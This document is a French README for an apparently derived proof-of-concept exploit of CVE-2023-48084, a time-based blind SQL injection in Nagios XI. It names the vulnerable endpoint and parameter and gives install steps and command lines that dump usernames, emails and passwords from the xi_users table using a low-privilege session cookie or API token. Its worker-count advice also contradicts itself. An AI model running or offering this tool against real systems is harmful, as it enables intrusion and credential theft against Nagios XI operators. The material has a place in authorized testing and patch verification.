CVE-2023-48084 — PoC mis à jour

Dépôt : MettHK/CVE-2023-48084-Revised

Version mise à jour de Hamibubu/CVE-2023-48084 avec multithreading, extraction par recherche binaire et options CLI pour la sélection de base de données / table / colonne.

Pas le dépôt d'origine. Ceci est un PoC dérivé/amélioré. Le crédit pour le travail original revient à Hamibubu.

Avertissement

Pour tests de sécurité autorisés et usage éducatif uniquement. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester. Les auteurs et contributeurs ne sont pas responsables d'une mauvaise utilisation.

À propos de la vulnérabilité

CVE-2023-48084 : Nagios XI avant la version 5.11.3 contient une vulnérabilité d'injection SQL via l'outil de modification en masse.

Ce PoC exploite une injection SQL aveugle basée sur le temps sur :

/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SQL)

Vous avez besoin d'un cookie de session non-admin valide (nagiosxi) ou d'un jeton API.

Modifications par rapport à l'original

Prérequis

• Python 3.8+
• requests (requis)
• pwntools (optionnel ; meilleur affichage de la progression)

git clone https://github.com/MettHK/CVE-2023-48084-Revised.git
cd CVE-2023-48084-Revised
pip install -r requirements.txt

Utilisation

# Interactive (discover schemas → tables → columns)
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -c '<cookie>'
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -a '<api_token>'

# Fast path: database + table + columns known
python3 CVE-2023-48084.py \
  -u https://target.example/nagiosxi \
  -c '<cookie>' \
  -d nagiosxi \
  -t xi_users \
  -C username,email,password \
  -w 15 \
  --delay 1.2

Je ne recommande pas d'utiliser plus de 2 workers, car cela peut renvoyer des résultats incorrects

Options

Conseils

• Mauvais caractères / résultats bruités → augmentez --delay (par ex. 2) ou réduisez -w (par ex. 5).
• Cible stable et rapide → essayez plus de workers (-w 15–20).
• Privilégiez -d / -t / -C quand vous connaissez déjà le schéma cible pour éviter une longue découverte.